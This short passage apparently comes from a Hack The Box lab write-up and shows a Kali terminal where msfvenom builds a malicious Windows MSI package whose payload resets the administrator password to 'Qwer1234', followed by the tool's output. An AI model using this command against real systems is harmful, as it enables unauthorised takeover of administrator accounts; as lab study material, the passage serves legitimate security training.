msfvenom
┌──(kali㉿kali)-[~/archive/htb/labs/love]
└─$ msfvenom -p windows/exec CMD="net user administrator Qwer1234" -f msi -o payload.msi
[-] no platform was selected, choosing msf::Module::Platform::Windows from the payload
[-] no arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
payload size: 216 bytes
final size of msi file: 159744 bytes
saved as: payload.msi
msfvenom generated a malicious MSI package